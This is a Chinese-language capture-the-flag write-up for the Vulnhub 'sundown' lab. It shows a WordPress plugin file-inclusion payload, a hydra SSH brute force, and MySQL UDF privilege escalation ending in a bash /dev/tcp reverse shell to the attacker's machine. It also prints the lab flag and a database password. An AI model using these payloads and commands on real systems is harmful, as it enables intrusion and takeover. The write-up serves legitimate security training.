总结:该靶机是一个wordpress管理系统,需要信息收集得到插件信息,然后搜索插件漏洞,得到一个文件包含exp,利用其得到一个普通用户,利用hydra爆破密码然后ssh连接,信息收集得到一个数据库配置信息,普通命令无法查看,需要利用文件包含查看,最后利用账号密码登录mysql,然后利用UDF提权拿到root权限

一、靶机搭建

选择打开选项

选中下载的ova文件,然后导入选择一个存放路径即可

二、信息收集

官方信息

Name: sunset: sundown
Date release: 4 Aug 2020
难度:初级/中级

扫ip

靶机ip:192.168.108.155

扫开放端口和服务信息

开启了22和80端口

指纹探测

执行以下命令

nmap 192.168.108.155 -p 22,80 -sV -sC -O --version-all

拿到了一些服务信息

目录扫描

dirsearch扫描,可以得到很多目录,dirb扫描结果也是一样

收集一下可用信息:

http://192.168.108.155/robots.txt
http://192.168.108.155/wp-config.php
http://192.168.108.155/wp-admin
http://192.168.108.155/wp-content/uploads/
http://192.168.108.155/wp-includes/
http://192.168.108.155/wp-cron.php
http://192.168.108.155/wp-login.php

三、Web渗透

信息收集

打开网页,有一个搜索框,但是没有什么用,

看看网站指纹信息,发现WordPress 5.4.2

访问robots.txt,发现两个目录

看到这里想起来之前刷的DC-6靶机,也是这个框架,账户位admin

看看另一个目录,没有什么信息

访问之前扫描出来的文件上传,可能存在文件上传漏洞

访问includes文件有很多文件,但是都无法打开

看看cron文件

搜索历史漏洞

输入admin看看,账户正确,但是密码不对

框架插件漏洞利用

利用wpscan爆破,但是时间太久了,放弃

wpscan --url http://192.168.108.155 --usernames admin -P /usr/share/wordlists/rockyou.txt

看看插件信息,这里提醒一下,靶机遇到wordpress框架的,可以先查看框架的插件信息,多数存在漏洞

wpscan --url http://192.168.108.155 --enumerate p,t

拿到插件信息

搜索历史漏洞,下载下来

查看该文件得到以下信息,是文件包含漏洞

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec

漏洞代码

if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']); #这就很明显是文件包含了

利用代码访问,发现一个有bash权限的carlos用户

利用hydra爆破密码,密码就是用户名

hydra -l carlos -P /usr/share/wordlists/rockyou.txt ssh://192.168.108.155

ssh连接,成功登录

四、提权

信息收集

先找找可用信息

没啥用的密文

进入/home目录看看

进入网站源码存放目录查看,因为这是一个框架程序,所以其源码一般在网站源码下,发现配置文件信息

利用命令查看,发现权限不足,看来行不通了

想到之前的文件包含漏洞,利用该路径访问试试

http://192.168.108.155//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/html/wordpress/wp-config.php

成功访问,但是代码太乱了,打开源码查看,发现数据库账号密码

账户:root 密码:VjFSQ2IyRnNUak5pZWpCTENnPT0K

mysql -u root -p

成功登录

查看数据库,但是没有什么可用信息,应该需要使用UDF提权,mysql特有的一种提权方式

UDF提权

先看看版本是64位还是32位,这决定你使用的udf文件带64还是不带64

是64位后再查看secure_file_priv是否为空,因为这决定了mysql会不会对导入导出做限制

show global variables like 'secure%';

没有回显

看看具体信息,可以提权

  • secure_file_priv 的值为 NULL ,表示不允许导入导出,无法提权

  • secure_file_priv 的值为 /tmp/ ,表示导入导出只能在 /tmp/ 目录下,无法提权

  • secure_file_priv 的值为空,表示不对导入导出做限制,此时可提权

​ 若mysql版本>=5.1时,上传udf位置需要在mysql\lib\plugin里,通过show variables like "%plugin%"来查看(若没有则新建一个),小于的话则不需要,可以看到是大于5.1

查看路径

show variables like '%plugin%';
路径:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

​ 得知以上的利用信息都允许情况下,就开始提权操作了,kali到/usr/share/metasploit-framework/data/exploits/mysql这个目录中复制64位的udf文件到本地(若是windows则用.dll文件,linux就用.so文件,根据是32位还是64位来选取不同文件)

开启web服务传输文件

成功上传

返回靶机,进入/tmp目录下

然后回到数据库执行下面的命令,看看mysql数据库下的数据表信息

执行下面的命令

create table shell(line blob);    # 需要为blob,因为是二进制对象存储容器,存储下面load_file的返回值
insert into shell values(load_file('/tmp/lib_mysqludf_sys_64.so')); # 插入并存储load_file的返回值

写入文件并创建函数,以此来反弹shell(这里的bash一定要加-c参数,否则只有bash -i会报错)

select * from shell into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so';    # 将/tmp/udf文件写入到plugin里
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; # 创建函数于udf文件中加载
select sys_exec('bash -c "bash -i >& /dev/tcp/192.168.108.130/4444 0>&1"'); # 调用函数执行反弹shell

开启监听端口并执行,成功反弹shell

flag

sundown用户目录下发现flag

值:510252fabb4b7e7dddd7373b7b3da3e8

Vulnhub-sundown的更多相关文章

  1. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  2. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  3. HA Joker Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-joker,379/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.132Starti ...

  4. HA: ISRO Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-isro,376/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.131Startin ...

  5. LAMPSecurity: CTF6 Vulnhub Walkthrough

    镜像下载地址: https://www.vulnhub.com/entry/lampsecurity-ctf6,85/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202 ...

  6. Hacker Fest: 2019 Vulnhub Walkthrough

    靶机地址: https://www.vulnhub.com/entry/hacker-fest-2019,378/ 主机扫描: FTP尝试匿名登录 应该是WordPress的站点 进行目录扫描: py ...

  7. DC8: Vulnhub Walkthrough

    镜像下载链接: https://www.vulnhub.com/entry/dc-8,367/#download 主机扫描: http://10.10.202.131/?nid=2%27 http:/ ...

  8. HA: Infinity Stones Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-infinity-stones,366/ 主机扫描: 目录枚举 我们按照密码规则生成字典:gam,%%@@2012 cru ...

  9. Sunset: Nightfall Vulnhub Walkthrough

    靶机链接: https://www.vulnhub.com/entry/sunset-nightfall,355/ 主机扫描: ╰─ nmap -p- -A 10.10.202.162Starting ...

  10. Dc:7 Vulnhub Walkthrough

    靶机下载地址: https://www.vulnhub.com/entry/dc-7,356/ 主机扫描: http://10.10.202.161/ Google搜索下: SSH 登录 以上分析得出 ...

随机推荐

  1. Qt编写物联网管理平台35-实时曲线

    一.前言 设备采集到的数据,通过曲线展示也是一种非常好的方式,尽管之前已经有了表格数据展示.设备面板展示.设备地图展示等,实时曲线也是一种不错的方式,这个用户自由选择,反正通过端口已经拿到了所有要采集 ...

  2. Qt开源作品37-网络中转服务器

    一.前言 用Qt做开发10年了,其中做过好多项目,基于现在web和移动互联网发展如此迅猛,大量的应用场景需要一个网络中转服务器,可以实现手机app或者其他客户端远程回控设备,现在物联网发展非常迅猛,这 ...

  3. UML之类与类图

    在所有项目中,类都是最常见的UML模型元素(当然,不可否认,很多项目还没画出类图就直接进入编码实现的阶段了).类是UML模型与具体实现代码之间的桥梁,随着对UML建模的深入了解,我们也会发现,类(确切 ...

  4. [转]C#从MySQL数据库中读取

    实现了数据库的建表.存储数据的功能后,还需要实现数据库的读取,综合查资料后发现有两种发发比较好; 一.如需要界面操作,需要将数据表格在界面上显示出来的话,需要使用DataGrid控件. 基本操作流程: ...

  5. 第三方JavaScript库有时会附带*.map文件的所用

    第三方JavaScript库有时会附带*.map文件的所用:起到对源***.js文件进行源码转换和压缩的作用. 详见参考链接:JavaScript Source Map 详解

  6. 基于极坐标参数方程的直线Hough变换

  7. CDS标准视图:功能位置 I_FunctionalLocation

    视图名称:I_FunctionalLocation 视图类型:基础 视图代码: 点击查看代码 @EndUserText.label: 'Functional Location' @Analytics: ...

  8. C++ STL学习笔记-C++ STL基础

    仅自己回忆使用,若有侵权,联系删除 algorithm实用库函数 sort:迭代器类型必须为随机访问迭代器(first,last),应该支持< 运算符,可以自己写比较 nth_element() ...

  9. MYSQL-收集

    1.MySQL敏感数据进行加密的几种方法小结 AES_ENCRYPT和AES_DECRYPT函数 AES(Advanced Encryption Standard)是一种对称加密算法.在MySQL中, ...

  10. 基于Tablestore打造亿量级订单管理解决方案

    一.方案背景 订单系统存在于各行各业,如电商订单.银行流水.运营商话费账单等,是一个非常广泛.通用的系统.对于这类系统,在过去十几年发展中已经形成了经典的做法.但是随着互联网的发展,以及各企业对数据的 ...